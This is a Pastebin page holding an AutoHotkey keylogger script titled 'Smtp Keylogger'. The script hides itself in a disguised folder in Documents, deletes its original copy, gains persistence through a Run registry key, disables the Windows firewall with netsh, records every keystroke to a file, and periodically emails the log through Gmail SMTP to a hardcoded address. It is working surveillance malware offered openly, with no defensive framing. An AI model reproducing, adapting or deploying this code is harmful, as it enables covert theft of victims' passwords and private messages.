Advertisement
Guest User

Smtp Keylogger

a guest
Nov 16th, 2017
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. #SingleInstance
  2. #NoTrayIcon
  3.  
  4. ;-Stealth-;
  5. If !FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
  6. SetWorkingDir %A_ScriptDir%
  7. FileAppend, %A_ScriptDir%, %A_Temp%\Temporary.tmp
  8. FileCopy, %A_ScriptFullPath%, %A_MyDocuments%\microsofti
  9. Run, %A_MyDocuments%\microsofti\%A_ScriptName%
  10. Exit
  11. }
  12.  
  13. If FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
  14. FileSetAttrib, ^H, %A_MyDocuments%\microsofti\%A_ScriptName%
  15. FileReadLine, OriginalPath, %A_Temp%\Temporary.tmp, 1
  16. FileDelete, %OriginalPath%\%A_ScriptName%
  17. }
  18.  
  19. ;-RegistryStart-;
  20. RegWrite, REG_SZ, HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Run, KeyLogger, %A_MyDocuments%\microsofti\%A_ScriptName%
  21.  
  22. ;-DisableFirewall-;
  23. run, netsh advfirewall firewall set allprofiles state off, , Hide
  24.  
  25. ;-Delay-; Every minute.
  26. SetTimer, SendByEmail, 100000
  27.  
  28. ;-Key Logger-;
  29. Loop
  30. {
  31. Input, key, V T1,
  32. FileAppend, %key%, %A_MyDocuments%\microsofti\key.txt
  33. }
  34.  
  35. ;-SMPT Emailer-;
  36. ProgrammPfad = %A_MyDocuments%\microsofti
  37. IniPfad = %ProgrammPfad%\key.txt
  38. Ifnotexist %ProgrammPfad%
  39. {
  40. FileCreateDir, %ProgrammPfad%
  41. }
  42.  
  43. SendByEmail:
  44. {
  45. FileRead, Contents, %A_MyDocuments%\microsofti\key.txt
  46.  
  47. sender := "jacobgilbrt123@gmail.com"
  48. senderPass := password
  49. receiver := "jacobgilbrt123@gmail.com"
  50. subject := "Some New Logs:"
  51. pmsg := ComObjCreate("CDO.Message")
  52. pmsg.From := sender
  53. pmsg.To := receiver
  54. pmsg.BCC := ""
  55. pmsg.CC := ""
  56. pmsg.Subject := subject
  57. fontsize := 2
  58. fontname := "Arial"
  59. font2size := 1
  60. font2name := "Courier New"
  61. pmsg.HtmlBody := "<html><font size= " . fontsize . " face= " . fontname . " ><body><h5>New Logs have been sent!</body></h5></font><br><font size= " . font2size . " face= " . font2name . " > " . Contents . " </font></html>"
  62.  
  63. fields := Object()
  64. fields.smtpserver := "smtp.gmail.com"
  65. fields.smtpserverport := 456
  66. fields.smtpusessl := True
  67. fields.sendusing := 2
  68. fields.smtpauthenticate := 1
  69. fields.sendusername := "jacobgilbrt123@gmail.com"
  70. fields.sendpassword := "password"
  71. fields.smtpconnectiontimeout := 60
  72. schema := "http://schemas.microsoft.com/cdo/configuration/"
  73.  
  74. pfld := pmsg.Configuration.Fields
  75. For field,value in fields
  76. pfld.Item(schema . field) := value
  77. pfld.Update()
  78.  
  79. pmsg.Send()
  80. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement